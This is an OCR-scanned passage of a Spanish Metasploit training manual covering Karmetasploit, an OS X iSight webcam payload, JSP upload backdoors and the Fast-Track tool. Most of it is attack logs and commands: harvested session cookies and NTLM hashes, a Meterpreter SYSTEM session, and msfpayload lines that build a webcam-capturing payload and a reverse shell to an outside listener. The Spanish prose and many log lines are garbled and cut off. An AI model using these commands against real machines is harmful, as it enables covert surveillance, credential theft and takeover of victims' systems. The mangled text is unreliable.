[*] DNS 10.0.0.100:1279 XID 88 (IN::A adwords.goog| e.com)

[*] DNS 10.0.0.100:1279 XID 88 (IN::A adwords.googl e.com)

[*] DNS 10.0.0.100:1280 XID 89 (IN::A blogger.com)
[*] DNS 10.0.0.100:1280 XID 89 (IN::A blogger.com)
...snip...

[*] DNS 10.0.0.100:1289 XID 95 (IN::A gmail.com)
[*] DNS 10.0.0.100:1289 XID 95 (IN::A gmail.com)
[*] DNS 10.0.0.100:1289 XID 95 (IN::A gmail.com)

[*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google. com)
[*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google. com)
[*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google. com)
[*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google. com)
[*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google. com)

[*] Request /ads' from 10.0.0.100:1278
[*] Recording detection from User-Agent

[*] DNS 10.0.0.100:1292 XID 96 (IN::A gmail.google. com)

[*] Browser claims to be MSIE 5.01, running on Wind ows 2000

[*] DNS 10.0.0.100:1293 XID 97 (IN::A google.com)

[*] Error: SQLite3::SQLException cannot start a tra nsaction within a transaction /ust/lib/ruby/1.8/sql ite3/errors.rb:62:in
“check'/usr/lib/ruby/1.8/sqlite3/resultset.rb:47:in “check'/ust/lib/ruby/1.8/sglite3/resultset.rb:39:i n ‘commence'/usr/lib/ruby/1.8/sqlite3

...Snip...




[*] HTTP REQUEST 10.0.0.100 > ecademy.com:80 GET /f
[*] HTTP REQUEST 10.0.0.100 > facebook.com:80 GET /

[*] HTTP REQUEST 10.0.0.100 > gather.com:80 GET /fo

[*] HTTP REQUEST 10.0.0.100 > gmail.com:80 GET /for

[*] HTTP REQUEST 10.0.0.100 > gmail.google.com:80 G
cookies=PREF=1D=474686c582f13be6:U=ecaecl2d78faalba
IP_lbBocsb3m4eFCH6hI1ae23ghwenHaEGItA5hiZbjA2gk8i7m
[*] HTTP REQUEST 10.0.0.100 > google.com:80 GET /fo
cookies=PREF=1D=474686c582f13be6:U=ecaecl2d78faalba
IP_lbBocsb3m4eFCH6hI1ae23ghwenHaEGItA5hiZbjA2gk8i7m
[*] HTTP REQUEST 10.0.0.100 > linkedin.com:80 GET /

[*] HTTP REQUEST 10.0.0.100 > livejournal.com:80 GE

[*] HTTP REQUEST 10.0.0.100 > monster.com:80 GET /f

[*] HTTP REQUEST 10.0.0.100 > myspace.com:80 GET /f
[*] HTTP REQUEST 10.0.0.100 > plaxo.com:80 GET /for

[*] HTTP REQUEST 10.0.0.100 > ryze.com:80 GET /form

[*] Sending MS03-020 Internet Explorer Object Type

[*] HTTP REQUEST 10.0.0.100 > slashdot.org:80 GET /

[*] Received 10.0.0.100:1360 LMHASH:00 NTHASH: OS:W
...snip...

[*] HTTP REQUEST 10.0.0.100 > www.monster.com:80 GE
[*] Received 10.0.0.100:1362 TARGET\POWN3D LMHASH:4
NTHASH:ea389b305cd095d32124597122324fc470ae8d9205bd
[*] Authenticating to 10.0.0.100 as TARGET\POWNS3D..

[*] HTTP REQUEST 10.0.0.100 > www.myspace.com:80 GE
[*] AUTHENTICATED as TARGETPOWNS3D...

[*] Connecting to the ADMIN$ share...

[*] HTTP REQUEST 10.0.0.100 > www.plaxo.com:80 GET
[*] Regenerating the payload...

[*] Uploading payload...

[*] HTTP REQUEST 10.0.0.100 > www.ryze.com:80 GET /
[*] HTTP REQUEST 10.0.0.100 > www.slashdot.org:80 G

[*] HTTP REQUEST 10.0.0.100 > www.twitter.com:80 GE

[*] HTTP REQUEST 10.0.0.100 > www.xing.com:80 GET /
[*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET
[*] HTTP REQUEST 10.0.0.100 > xing.com:80 GET /form

[*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET /for

[*] Created UxsjordQ.exe...

[*] HTTP REQUEST 10.0.0.100 > ziggs.com:80 GET /for

[*] Connecting to the Service Control Manager...

[*] HTTP REQUEST 10.0.0.100 > care.com:80 GET / Win

[*] HTTP REQUEST 10.0.0.100 > www.gather.com:80 GET
[*] HTTP REQUEST 10.0.0.100 > www.ziggs.com:80 GET
[*] Obtaining a service manager handle...

[*] Creating a new service...

[*] Closing service handle...

[*] Opening service...

[*] Starting the service...

[*] Transmitting intermediate stager for over-sized

[*] Removing the service...

[*] Closing service handle...

[*] Deleting UxsjordQ.exe...

[*] Sending Access Denied to 10.0.0.100:1362 TARGET

[*] Received 10.0.0.100:1362 LMHASH:00 NTHASH: OS:W
[*] Sending Access Denied to 10.0.0.100:1362

[*] Received 10.0.0.100:1365 TARGET\POWN3D LMHASH:3
NTHASH:ddb2b9bed56faf557b1a35d3687fc2c8760a5b45f1d1
[*] Authenticating to 10.0.0.100 as TARGET\POWNS3D..

[*] AUTHENTICATED as TARGETPOWNSD...

[*] Ignoring request from 10.0.0.100, attack alread

[*] Sending Access Denied to 10.0.0.100:1365 TARGET

[*] Sending Apple QuickTime 7.1.3 RTSP URI Buffer O

[*] Sending stage (2650 bytes)

[*] Sending iPhone MobileSafari LibTIFF Buffer Over

[*] HTTP REQUEST 10.0.0.100 > www.care2.com:80 GET
[*] Sleeping before handling stage...

[*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET
[*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET / Wi

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] Migrating to Isass.exe...

[*] Current server process: rundll32.exe (848)

[*] New server process: Isass.exe (232)

[*] Meterpreter session 1 opened (10.0.0.1:45017 ->

msf auxiliary(http) > sessions -I

Active sessions

Id Description Tunnel

1 Meterpreter 10.0.0.1:45017 -> 10.0.0.100:136

orms.html Windows IE 5.01 cookies=

forms.html Windows |E 5.01 cookies=

rms.html Windows |E 5.01 cookies=

ms.html Windows IE 5.01 cookies=

ET /forms.html Windows IE 5.01
:TM=1241334857:LM=1241334880:S=snePRUjY-zgcXpEV; NI
8u9Za718IFyaDEJRwWOIp1sT8UHHSJIGTYfpAlnelvB8

rms.html Windows IE 5.01
:TM=1241334857:LM=1241334880:S=snePRUjY-zgcXpEV; NI
8u9Za718IFyaDEJRwWOIp1sT8UHHSJIGTYfpAlnelvB8
forms.html Windows |E 5.01 cookies=

T /forms.html Windows IE 5.01 cookies=

orms.html Windows IE 5.01 cookies=

orms.html Windows |E 5.01 cookies=

ms.html Windows IE 5.01 cookies=

s.html Windows IE 5.01 cookies=

t0 10.0.0.100:1278...

forms.html Windows |E 5.01 cookies=

indows 2000 2195 LM:Windows 2000 5.0

T /forms.html Windows IE 5.01 cookies=
7a8cfha21d8473f9cc1674cedebalfa6dclc2a4dd904b72
fc19 OS:Windows 2000 2195 LM:Windows 2000 5.0

:I' /forms.html Windows IE 5.01 cookies=
/forms.html Windows |E 5.01 cookies=

forms.html Windows |E 5.01 cookies=

ET /forms.html Windows IE 5.01 cookies=
T /forms.html Windows IE 5.01 cookies=
forms.html Windows |E 5.01 cookies=
/forms.html Windows IE 5.01 cookies=
s.html Windows IE 5.01 cookies=

ms.html Windows IE 5.01 cookies=

ms.html Windows IE 5.01 cookies=
dows IE 5.01 cookies=

/forms.html Windows IE 5.01 cookies=
/forms.html Windows IE 5.01 cookies=

stage...(191 bytes)

\POWN3D
indows 2000 2195 LM:Windows 2000 5.0

cd170ac4f807291a1b90da20bb8eb228cf50aaf5373897d
f4cd OS:Windows 2000 2195 LM:Windows 2000 5.0

y in progress.
\POWN3D
verflow to 10.0.0.100:1278...

flow to 10.0.0.100:1367...
/ Windows |E 5.01 cookies=

/ Windows |E 5.01 cookies=
ndows IE 5.01 cookies=

10.0.0.100:1364)

D=22=nFGYM;j-I7FaT7qz3zwXjen9_miz8RDn_rA-

D=22=nFGYM;j-I7FaT7qz3zwXjen9_miz8RDn_rA-

12.3.3 Attack Analysis

Attack Analysis

Wow! Esa fue una gran salida! Por favor tomeseeifo para leer a través de la salida, y tratantender
lo que esta sucediendo. Vamos a romper algunassdesultados.



[*] DNS 10.0.0.100:1284 XID 92 (IN::A ecademy.com)
[*] DNS 10.0.0.100:1286 XID 93 (IN::A facebook.com)
[*] DNS 10.0.0.100:1286 XID 93 (IN::A facebook.com)
[*] DNS 10.0.0.100:1287 XID 94 (IN::A gather.com)
[*] DNS 10.0.0.100:1287 XID 94 (IN::A gather.com)

Aqui podemos ver las busquedas de DNS que se estan produciendo. La mayoria de estos son iniciadas por

Karmetasploit en los intentos de recopilar informacién del cliente.

[¥*] HTTP REQUEST 10.0.0.100 > gmail.google.com:80 G
ies=PREF=ID=474686c582f13be6:U=ecaecl2d78faalba:TM=
zgcXpEV;NID=22=nFGYM;|-I7FaT7qz3zwXjen9_miz8RDn_rA
IP_IbBocsbh3m4eFCH6h 11ae23ghwenHaEGItA5hiZbjA2gk8i7

[¥*] HTTP REQUEST 10.0.0.100 > google.com:80 GET /fo
cookies=PREF=ID=474686c582f13be6:U=ecaecl2d78faalba
zgcXpEV;NID=22=nFGYM;|-I7TFaT7qz3zwXjen9_miz8RDn_rA
IP_IbBocsh3m4e FCH6hlI1lae23g hwenHaEGItA5hiZbjA2gk8i

ET /forms.html Windows IE 5.01 cook
1241334857:LM=1241334880: S=snePRUjY-

m8u9Za718IFyaDEJRwOIp1sT8UHHsJGTYfpAinelvB8

rms.html Windows IE 5.01
‘TM=1241334857:LM=1241334880: S=snePRUjY-

7m8u9Za718IFyaDEJRWOIp1sT8UHHSIGTYfpAlnelvB8

Aqui podemos ver Karmetasploit recogiendo informacion de las cookies desde el cliente. Esta informacién podria ser

util para su uso en ataques contra el usuario mas adelante.

[*] Received 10.0.0.100:1362 TARGET\POWN3D LMHASH:4
NTHASH:ea389b305cd095d32124597122324fc470ae8d9205bd
[*] Authenticating to 10.0.0.100 as TARGET\POWN3D..

[*] AUTHENTICATED as TARGET\POWNS3D...

[*¥] Connecting to the ADMIN$ share...

[*] Regenerating the payload...

[*] Uploading payload...

[*¥] Obtaining a service manager handle...

[*¥] Creating a new service...

[*¥] Closing service handle...

[*¥] Opening service...

[*] Starting the service...

[*¥] Transmitting intermediate stager for over-sized

[*] Removing the service...

[*¥] Closing service handle...

[*] Deleting UxsjordQ.exe...

[*] Sending Access Denied to 10.0.0.100:1362 TARGET

[*] Received 10.0.0.100:1362 LMHASH:00 NTHASH: OS:W
[*] Sending Access Denied to 10.0.0.100:1362

[*] Received 10.0.0.100:1365 TARGET\POWN3D LMHASH:3
NTHASH:ddb2b9bed56faf557b1a35d3687fc2c8760a5b45f1d1
[*¥] Authenticating to 10.0.0.100 as TARGET\POWNS3D..

[*] AUTHENTICATED as TARGET\POWNS3D...

[*] Ignoring request from 10.0.0.100, attack alread

[*] Sending Access Denied to 10.0.0.100:1365 TARGET

[*¥] Sending Apple QuickTime 7.1.3 RTSP URI Buffer O

[*] Sending stage (2650 bytes)

[*] Sending iPhone MobileSafari LibTIFF Buffer Over

[*] HTTP REQUEST 10.0.0.100 > www.care2.com:80 GET
[*] Sleeping before handling stage...

[*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET
[*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET / Wi

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] Migrating to Isass.exe...

[*¥] Current server process: rundll32.exe (848)

[*] New server process: Isass.exe (232)

[*] Meterpreter session 1 opened (10.0.0.1:45017 ->

7a8cfba21d8473f9ccl1674cedebalfabdclc2a4dd904b72
fc19 OS:Windows 2000 2195 LM:Windows 2000 5.0

stage...(191 bytes)

\POWN3D
indows 2000 2195 LM:Windows 2000 5.0

cd170ac4f807291alb90da20bb8eb228cf50aaf5373897d
f4cd OS:Windows 2000 2195 LM:Windows 2000 5.0

y in progress.
\POWN3D
verflow to 10.0.0.100:1278...

flow to 10.0.0.100:1367...
/ Windows IE 5.01 cookies=

/ Windows IE 5.01 cookies=
ndows IE 5.01 cookies=

10.0.0.100:1364)

Aqui es donde se pone realmente interesante! Hehterido los hashes de contrasefias del sistema, que

pueden ser utilizados para identificar las confraseeales. Esto es seguido por la creacion deasidn de

Meterpreter.

Ahora tenemos acceso al sistema, le permite vendgpodemos hacer con él.




msf auxiliary(http) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ps

Process list

PID Name Path

144 smss.exe \SystemRoot\System32\s
172 csrss.exe \??2\C:\WINNT\system32\
192 winlogon.exe \??\C:\WINNT\system32\
220 services.exe C:\WINNT\system32\serv
232 Isass.exe C:\WINNT\system32\lsas
284 firefox.exe C:\Program Files\Mozil

300 Kodaklmg.exe C:\Program Files\Windo
396 svchost.exe C:\WINNT\system32\svch
416 spoolsv.exe C:\WINNT\system32\spoo
452 svchost.exe C:\WINNT\System32\svch
488 regsvc.exe C:\WINNT\system32\regs
512 MSTask.exe C:\WINNT\system32\MSTa
568 VMwareService.exe C:\Program Files\VMwar
632 WinMgmt.exe C:\WINNT\System32\WBEM
696 TPAutoConnSvc.exe C:\Program Files\VMwar
760 Explorer.exe C:\WINNT\Explorer.exe
832 VMwareTray.exe C:\Program Files\VMwar
848 rundll32.exe C:AWINNT\system32\rund
860 VMwareUser.exe C:\Program Files\VMwar
884 RtWLan.exe C:\Program Files\ASUS
916 TPAutoConnect.exe C:\Program Files\VMwar
952 SCardSvr.exe C:AWINNT\System32\SCar
1168 IEXPLORE.EXE C:\Program Files\Inter

meterpreter > ipconfig /all

VMware Accelerated AMD PCNet Adapter
Hardware MAC: 00:0c:29:85:81:55

IP Address :0.0.0.0

Netmask :0.0.0.0

Realtek RTL8187 Wireless LAN USB NIC
Hardware MAC: 00:c0O:ca:la:e7:d4

IP Address : 10.0.0.100

Netmask :255.255.255.0

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1

Netmask :255.0.0.0

meterpreter > pwd

C:\WINNT\system32

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

mss.exe

csrss.exe

winlogon.exe

ices.exe

s.exe

la Firefox\firefox.exe

ws NT\Accessories\ImageVueKodakimg.exe
ost.exe

Isv.exe

ost.exe

vc.exe

sk.exe

e\VMware Tools\VMwareService.exe
\WinMgmt.exe

e\VMware Tools\TPAutoConnSvc.exe

e\VMware Tools\VMwareTray.exe
11I32.exe

e\VMware Tool\VMwareUser.exe
WiFi-AP Solo\RtWLan.exe
e\VMware Tools\TPAutoConnect.exe
dSvr.exe

net ExploreNIEXPLORE.EXE

Maravilloso. Al igual que cualquier otro vector,astro periodo de sesiones Meterperter esta funuimneomo se esperaba.

Sin embargo, no puede ser mucho lo que sucede remelsploit, es muy rapido y haciendo uso de idaaistandar a cabo no
puede ser utilizable. Vamos a ver otra forma de@eca la informacion registrada. Vamos a inteeaaton el karma.db que se
crea en su directorio home.

Vamos a abrir con SQLite, y volcar el esquema.

root@bt4:~# sqlite3 karma.db

SQLite version 3.5.9

Enter ".help" for instructions

sglite> .schema

CREATE TABLE hosts (

'id INTEGER PRIMARY KEY NOT NULL,
‘created' TIMESTAMP,

‘address' VARCHAR(16) UNIQUE,




‘comm' VARCHAR(255),
'name' VARCHAR(255),
'state' VARCHAR(255),
'desc' VARCHAR(1024),
'os_name' VARCHAR(255),
'os_flavor' VARCHAR(255),
'os_sp' VARCHAR(255),
‘os_lang' VARCHAR(255),
‘arch' VARCHAR(255)

);
CREATE TABLE notes (

'id INTEGER PRIMARY KEY NOT NULL,
‘created' TIMESTAMP,

'host_id' INTEGER,

'ntype' VARCHAR(512),

'data’ TEXT

);
CREATE TABLE refs (

'id INTEGER PRIMARY KEY NOT NULL,
ref_id' INTEGER,

‘created' TIMESTAMP,

'name' VARCHAR(512)

);
CREATE TABLE reports (

'id INTEGER PRIMARY KEY NOT NULL,
'target_id' INTEGER,

'‘parent_id' INTEGER,

‘entity' VARCHAR(50),

‘etype' VARCHAR(50),

‘'value' BLOB,

'notes’' VARCHAR,

'source' VARCHAR,

‘created’' TIMESTAMP

);
CREATE TABLE requests (
'host' VARCHAR(20),

'‘port' INTEGER,

'ssl' INTEGER,

'meth’' VARCHAR(20),
'path’' BLOB,

'headers' BLOB,

‘query' BLOB,

'‘body' BLOB,

'respcode’' VARCHAR(5),
'resphead' BLOB,
‘response’ BLOB,

‘created’' TIMESTAMP

);
CREATE TABLE services (

'id INTEGER PRIMARY KEY NOT NULL,
'host_id' INTEGER,

‘created' TIMESTAMP,

'‘port' INTEGER NOT NULL,

‘proto' VARCHAR(16) NOT NULL,

'state' VARCHAR(255),

'name' VARCHAR(255),

'desc' VARCHAR(1024)

);
CREATE TABLE targets (

'id INTEGER PRIMARY KEY NOT NULL,
'host' VARCHAR(20),

'‘port' INTEGER,

'ssl' INTEGER,

'selected’' INTEGER

);
CREATE TABLE vulns (

'id INTEGER PRIMARY KEY NOT NULL,
'service_id' INTEGER,

‘created' TIMESTAMP,




'name' VARCHAR(1024),
'data’ TEXT

);
CREATE TABLE vulns_refs (
'ref_id' INTEGER,

'vuln_id" INTEGER

);

Con la informacion obtenida en el esquema, vamos a interactuar con los datos que hemos reunido. Primero, una lista de todos

los sistemas que registran informacién de, a continuacién, después, luego el volcado de toda la informacién que hemos

recogido, mientras que fueron conectadas.

sqlite> select * from hosts;

1|2009-05-09 23:47:04/10.0.0.100|||alive||Windows|2

sqlite> select * from notes where host_id = 1;

1]2009-05-09 23:47:04|1|http_cookies|en-us.start2.m
_utma=183859642.1221819733.1241334886.1241334886.1
_utmz=183859642.1241334886.1.1.utmccn=(organic)|ut
2|2009-05-09 23:47:04|1|http_request|en-us.start2.m
3|2009-05-09 23:47:05|1|http_cookies|adwords.google
PREF=ID=ee60297d21c2a6e5:U=ecaecl2d78faalba:TM=1241
NID=22=Yse3kJmOPoVwyYxj8GKC6LVIIgQMsruiPwQrcRRnLO_4

000}||x86

ozilla.com

241334886.1;
mcsr=google|utmctr=firefox|utmcmd=organic
ozilla.com:80 GET /firefox Windows FF 1.9.0.10

.com
913986:LM=1241926890:GM=1:S=-p5nGxSz_oh1linss
Z0CzBRClIUucvroS_Rujrx6ov-

tXz2ZVKN2KJIN4pEJIdg25ViugPUOUZQhTuh80hNAPvvsq2_HARTNIG 7dgUrBNg
SID=DQAAAHAAAADNMtnGqaWPKEBIxfsMQNzDt_f7KykHkPoYCRZ_Zen8zleeLyKr8XUmLvIVPZoxsdSBUd22TbQ3p1ncOTcoNHv7c

145zZraamzaji9qgRC
XxU9po340bEBzGotphFHoAtLxgThdHQKWNQZq
4]|2009-05-09 23:47:05|1|http_request|adwords.google
5|2009-05-09 23:47:05|1|http_request|blogger.com:80
6]2009-05-09 23:47:05|1|http_request|care.com:80 GE
7|2009-05-09 23:47:05|1|http_request|0.0.0.0:55550
8|2009-05-09 23:47:06|1|http_request|careerbuilder.
9]2009-05-09 23:47:06|1|http_request|ecademy.com:80
10]2009-05-09 23:47:06|1|http_cookies|facebook.com
120e39e88339c0edfd73fab6428ed813209603d31bd9d1dccce
ABT=::#b0ad8a8df29cc7bafdf91e67c86d58561st0:1242530
s_vsn_facebookpoc_1=7269814957402

11|2009-05-09 23:47:06|1|http_request|facebook.com:
12|2009-05-09 23:47:06|1|http_request|gather.com:80
13]2009-05-09 23:47:06|1|http_request|gmail.com:80
14|2009-05-09 23:47:06|1|http_cookies|gmail.google.
PREF=ID=ee60297d21c2a6e5:U=ecaecl2d78faalba:TM=1241
NID=22=Yse3kJmOPoVwyYxj8GKC6LVIIgQMsruiPwQrcRRnLO_4

.com:80 GET /forms.html Windows FF 1.9.0.10

GET /forms.html Windows FF 1.9.0.10

T /forms.html Windows FF 1.9.0.10

GET /ads Windows Firefox 3.0.10

com:80 GET /forms.html Windows FF 1.9.0.10

GET /forms.html Windows FF 1.9.0.10

datr=1241925583-

3
384:A#2dd086ca2a46e9e50fff44e0ecd48ch811st0:12425303

80 GET /forms.html Windows FF 1.9.0.10

GET /forms.html Windows FF 1.9.0.10

GET /forms.html Windows FF 1.9.0.10

com
913986:LM=1241926890:GM=1:S=-p5nGxSz_ohlinss
Z0CzBRClIUucvroS_Rujrx6ov-

tXzZVKN2KJIN4pEJIdg25ViugPUOUZQhTuh80hNAPvvsq2_HARTNIG 7dgUrBNg
SID=DQAAAHAAAADNMtnGqaWPKEBIxfsMQNzDt_f7KykHkPoYCREZ_Zen8zleeLyKr8XUmLvIVPZoxsdSBUd22TbQ3p1ncOTcoNHv7c

145zZraamzaji9qgrRC
XxU9po340bEBzGotphFHoAtLxgThdHQKWNQZq

15|2009-05-09 23:47:07|1|http_request|gmail.google.
16]2009-05-09 23:47:07|1|http_cookies|google.com
PREF=ID=ee60297d21c2a6e5:U=ecaec12d78faalba:TM=1241
NID=22=Yse3kIJmOPoVwyYxj8GKC6LVIIqQMsruiPwQrcRRnLO_4

com:80 GET /forms.html Windows FF 1.9.0.10

913986:LM=1241926890:GM=1:S=-p5nGxSz_ohlinss
Z0CzBRCIUucvroS_Rujrx6ov-

tXzVKN2KJIN4pEJdg25ViugPUOUZQhTuh80hNAPWsG2_HARTNIG 7dgUrBNg
SID=DQAAAHAAAADNMINGGaWPKEBIxfsMQNzDt_f7KykHkPoYCRE_Zen8zleeLyKr8XUmLvIVPZoxsdSBUd22TbQ3p1ncOTcoNHv7C

145zZraamzaji9qRC
XxU9po340bEBzGotphFHoAtLxgThdHQKWNQZg
17]2009-05-09 23:47:07|1|http_request|google.com:80
18|2009-05-09 23:47:07|1|http_request|linkedin.com:

101]|2009-05-09 23:50:03|1|http_cookies|safebrowsing
PREF=ID=ee60297d21c2a6e5:U=ecaecl2d78faalba:TM=1241
NID=22=Yse3kIJmOPoVwyYxj8GKC6LVIIgQMsruiPwQrcRRnLO_4

GET /forms.html Windows FF 1.9.0.10
80 GET /forms.html Windows FF 1.9.0.10

.clients.google.com
913986:LM=1241926890:GM=1:S=-p5nGxSz_ohlinss
Z0CzBRClIUucvroS_Rujrx6ov-

tXzVKN2KJIN4pEJdg25ViugPUOUZQhTuh80hNAPvvsgq2_HARTNIG 7dgUrBNg
SID=DQAAAHAAAADNMtnGqaWPKEBIxfsMQNzDt_f7KykHkPoYCREZ_Zen8zleeLyKr8XUmLvIVPZoxsdSBUd22TbQ3p1ncOTcoNHv7c

145zZraamzaji9qgRC
XxU9po340bEBzGotphFHoAtLXxgThdHQKWNQZq
102|2009-05-09 23:50:03|1|http_request|safebrowsing
Windows FF 1.9.0.10

108|2009-05-10 00:43:29|1|http_cookies|twitter.com
€2a31fa4627149c521b965e0d7bdc3617df6aelf
109|2009-05-10 00:43:29|1|http_cookies|www.twitter.
€2a31fa4627149c521b965e0d7bdc3617df6aelf
sqlite>

.clients.google.com:80 POST /safebrowsing/downloads
auth_token=1241930535--

com auth_token=1241930535--

EihkxtH

84:B;

EihkxtH

EihkxtH

EihkxtH

Muy util. Piense en el nimero de maneras en que esto puede ser utilizado




12.4 MSF vs OS X

MSF vs OS X

Una de las cosas mas interesantes sobre la platafdac es como camaras estan incorporadas enloslos
ordenadores portatiles. Este hecho no ha pasadpetetbido por los desarrolladores de Metasplaitjye
es un modulo muy interesante que va a tomar uoactot la camara incorporada.

Vamos a ver en accion. Primero, generar un ejeleutatbependiente a la transferencia a un sistem:0S

root@bt4:/pentest/exploits/framework3# ./msfpayload
Created by msfpayload ( http://www.metasploit.com ).

osx/x86/isight/bind_tcp X > /tmp/osxt2

Payload: osx/x86/isight/bind_tcp
Length: 144
Options:

Asi, en este escenario que engafia al usuario para ejecutar el ejecutable que hemos creado, entonces usamos 'multi /

handler' para conectarse y tomar una fotografia del usuario.

msf > use multi/handler

msf exploit(handler) > set PAYLOAD osx/x86/isight/b
PAYLOAD => osx/x86/isight/bind_tcp

msf exploit(handler) > show options

Module options:

Name Current Setting Required Description

Payload options (0sx/x86/isight/bind_tcp):

Name  Current Setting

AUTOVIEW true

BUNDLE /pentest/exploits/framework3/data/isig
LPORT 4444

RHOST

Exploit target:

0 Wildcard Target

msf exploit(handler) > ifconfig ethO
[*] exec: ifconfig ethO

ethO  Link encap:Ethernet HWaddr 00:0c:29:a7:f
inet addr:172.16.104.150 Bcast:172.16.10
inet6 addr: fe80::20c:29ff:fea7:f1c5/64 S
UP BROADCAST RUNNING MULTICAST MTU:1500
RX packets:234609 errors:4 dropped:0 over
TX packets:717103 errors:0 dropped:0 over
collisions:0 txqueuelen:1000
RX bytes:154234515 (154.2 MB) TX bytes:5
Interrupt:19 Base address:0x2000

msf exploit(handler) > set RHOST 172.16.104.1
RHOST =>172.16.104.1

msf exploit(handler) > exploit

[*] Starting the payload handler...

[*] Started bind handler

[*] Sending stage (421 bytes)

[*] Sleeping before handling stage...

[*] Uploading bundle (29548 bytes)...

[*] Upload completed.

[*] Downloading photo...

[*] Downloading photo (13571 bytes)...

[*] Photo saved as /root/.msf3/logs/isight/172.16.1
[*] Opening photo in a web browser...

Error: no display specified

[*] Command shell session 2 opened (172.16.104.150:
[*] Command shell session 2 closed.

msf exploit(handler) >

ind_tcp

Required Description

yes Automatically open the picture
ht.bundle yes The local path to the iSight M

yes The local port

no The target address

1:c5

4.255 Mask:255.255.255.0
cope:Link

Metric:1

runs:0 frame:0

runs:0 carrier:0

8858484 (58.8 MB)

04.1_20090821.495489022.jpg

57008 -> 172.16.104.1:4444)

in a browser
ach-O Bundle to upload




Muy interesante! Parece ser que tenemos una f@wiog a ver lo que parece.

Archivo:Http://www.offensive-security.com/msf/msight-payload.png

Increible. Esta es una caracteristica muy potentepuede ser utilizado para muchos propésitosetifes.
La estandarizacion de la plataforma de hardwarpgde ha creado una plataforma bien definida paea q
los atacantes de aprovechar. TOMEN VENTAJA VER

12.5 File-Uploads Backdoors

File-Uploads Backdoors

Con algunas de las Ultimas se compromete, la pidsithide utilizar los depésitos de “reverse” basagtaJava, Metasploit
permite la posibilidad de hacer un “upload Javatahells” y obtener acceso remoto a un sistemahbtuveces las
vulnerabilidades de “Upload Files” pueden ser ureéente truco para nosotros.

relik@fortress:/pentest/exploits/framework3# ./msfp ayload java/jsp_shell_reverse_tcp LHOST=10.10.1.132 LPORT=8080 R > shell.jsp && ./msfcli
exploit/multi

/handler payload=javal/jsp_shell_reverse_tcp LHOST=1 0.10.1.132 LPORT=8080 E

[*] Please wait while we load the module tree...

[*] Started reverse handler on port 8080

[*] Starting the payload handler...

Una vez que nuestros Java ha sido ejecutado (esmegando por ella), deberiamos tener una!shell

13 Fast-Track

Fast-Track

Fast-Track es un proyecto open-surce basado eorPgtstinado a ayudar a los pentesters para identif
explotar y penetrar en una red. Fast-Track fuedareaiginalmente por David Kennedy (rellk) que ea u
prueba de penetracion considerd que habia en dgemaréalta de herramientas de automatizacion sle lo
atagues que eran normalmente muy avanzados y c@arsumcho tiempo. En un intento para reproducir
algunos de sus avanzados ataques y de propagerdoshizequipo, termind escribiendo Fast-track para
publico. Fast- Track el testeador de armas de pEné@h con ataques avanzados que en la mayorésde |
casos nunca se han realizado antes. Siénteseseelapra una lata de Cola y disfrute del paseo.

Fast-Track utiliza una gran parte de Metasploitt@a&ork para terminar los ataques con éxito. FaastKIr
tiene una amplia variedad de ataques Unicos qoerieiten utilizar Metasploit Framework en su maximo
potencial. Pensamos que muestran los distintosi@sagcomo Fast- Track se integra con Metasploit
Framework es un excelente complemento para el curso

Vayamos al tutorial de Fast-track

13.1 Modos de Fast-Track

Modos de Fast-Track




Fast-Track se puede usar en tres modos diferdatesnsola de comandos, el modo interactivo, pterfaz web. Veamos cada
uno. El modo consola de comandos pueden ser lamgadatando './Fast-track.py -c' en el directoBdristalacion, en
Back|Track, esta localizado en ‘/pentest/explaisstifack/.

root@bt4:/pentest/exploits/fasttrack#
Jfast-track.py -c

Fast-Track v4.0 - Where it's OK to finish in under 3 minutes...
Automated Penetration Testing

Written by David Kennedy (ReL1K)

SecureState

http://www.securestate.com

dkennedy@securestate.com

Wiki and Bug Track: http://www.thepentest.com

Please read the README and LICENSE before using

this tool for acceptable use and modifications.

Modes:

Interactive Menu Driven Mode: -i
Command Line Mode: -c

Web GUI Mode -g

Examples: ./fast-track.py -i
Jfast-track.py -c

Jfast-track.py -g

Jfast-track.py -g

Usage: ./fast-track.py

kkkkkkkkkkkkhkkkkkkhkkkkkkkhkkkkkkhhkkkkkkkkkkhkkkkhkk kkkkkhkkkkhkkkkhkkkkkkkk

Fast-Track Command Line - Where it's OK to finish i n under 3 minutes...
**+x MAKE SURE YOU INSTALL ALL THE DEPENDENCIES FIR ST (setup.py) ****
Visit  http://trac.thepentest.com for tutorials or to file a bug.

. Update Menu

. Autopwn Automated

. MS-SQL Injector

. MS-SQL Bruter

. Binary to Hex Payload Generator

. Mass Client-Side Attack

. Exploits

~No ok~ WNPE

8. SQLPwnage

9. Payload Generator
10. Changelog

11. Credits

12. About

Usage: fast-track.py -c

El modo interactivo puede ser lanzado al poner '-i' en la opcion ./fast-track.py

root@bt4:/pentest/exploits/fasttrack#./fast-track.p y i

*kkkkkkkkk * * *

*reeekkk Performing dependency checks... *rxxsx
kkkkkkkkkkkkkkkkkhkkkkkkkkkkkkkkkkhkkkhkhhhhhhkkkkkx

*** FreeTDS and PYMMSQL are installed. (Check) ***
*** PExpect is installed. (Check) ***

*** ClientForm is installed. (Check) ***

*** Pgyco is installed. (Check) ***

*** Beautiful Soup is installed. (Check) ***

*** pyMills is installed. (Check) ***

Also ensure ProFTP, WIinEXE, and SQLite3 is installe d from
the Updates/Installation menu.

Your system has all requirements needed to run Fast -Track!
Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 min utes...

Version: v4.0
Written by: David Kennedy (ReL1K)




http://www.securestate.com
http://www.thepentest.com
Fast-Track Updates
Autopwn Automation
Microsoft SQL Tools
Mass Client-Side Attack
Exploits

Binary to Hex Payload Converter
Payload Generator
Fast-Track Tutorials

